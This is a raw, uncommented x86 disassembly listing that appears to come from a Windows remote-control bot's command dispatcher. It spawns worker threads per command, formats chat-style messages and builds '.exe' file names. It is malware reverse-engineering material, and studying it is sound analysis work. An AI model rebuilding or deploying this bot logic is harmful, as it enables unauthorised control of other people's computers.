		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCE0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEF8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFE4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A408
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407B44


loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42A4FC
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407C41


loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset unk_42A388
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------


loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx


loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------


loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx


loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A35C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407D7F


loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_407D69
; ---------------------------------------------------------------------------


loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset unk_42A31C
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407E67


loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_407E51
; ---------------------------------------------------------------------------


loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42A2A8
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A278
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407F4F


loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_407F39
; ---------------------------------------------------------------------------


loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42A240
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A210
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408048


loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_408032
; ---------------------------------------------------------------------------


loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42A1D8
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A1A8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408130


loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_40811A
; ---------------------------------------------------------------------------


loc_408130:				; CODE XREF: sub_401ACD+664Bj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset dword_42A16C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A140
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408223


loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_408211
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42A108
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0D0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 2690B8Ch
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A0AC
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------


loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A0A0
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch


loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A070
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4083A1


loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_40838F
; ---------------------------------------------------------------------------


loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset unk_42A034


loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5


loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2650CD2h
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_42A010
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FF4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 2690000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------


loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx


loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------


loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx


loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FBC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4085BF


loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------


loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset dword_429F80
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F38


loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 267053Bh


loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429F14
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429EFC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429EC8


loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------


loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_429E94
		push	eax
		call	sub_41B886
		push	ebx
